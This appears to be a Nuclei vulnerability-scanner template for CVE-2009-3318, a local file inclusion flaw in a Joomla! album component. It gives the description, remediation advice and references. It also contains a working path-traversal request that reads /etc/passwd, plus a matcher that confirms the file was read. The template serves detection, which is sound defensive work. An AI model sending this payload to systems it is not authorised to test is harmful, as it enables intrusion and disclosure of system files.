id: CVE-2009-3318

info:
  name: Joomla! Roland Breedveld Album 1.14 - Local File Inclusion
  author: daffainfo
  severity: high
  description: Joomla! Roland Breedveld Album 1.14 (com_album) is susceptible to local file inclusion because it allows remote attackers to access arbitrary directories and have unspecified other impact via a .. (dot dot) in the target parameter to index.php.
  impact: |
    The vulnerability allows an attacker to include arbitrary files from the local file system, potentially leading to unauthorized access, data disclosure.
  remediation: |
    Update to the latest version of Joomla! Roland Breedveld Album and apply any available patches or security updates.
  reference:
    - https://www.exploit-db.com/exploits/9706
    - https://nvd.nist.gov/vuln/detail/CVE-2009-3318
    - http://www.exploit-db.com/exploits/9706
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:P/A:P
    cvss-score: 7.5
    cve-id: CVE-2009-3318
    cwe-id: CWE-22
    epss-score: 0.06455
    epss-percentile: 0.92852
    cpe: cpe:2.3:a:joomla:joomla:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: joomla
    product: joomla
  tags: cve2009,cve,joomla,lfi,edb,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?option=com_album&Itemid=128&target=../../../../../../../../../etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 490a0046304402203137a5d5fcd5861c5b89cb40824ed2d8dcf6fd597f44a61da447b4e3a9f8533f02207d63c2be1f17611711d671bf4b6541ef3fe62d6d8c98e6032862e7582c1520a0:922c64590222798bb761d5b6d8e72950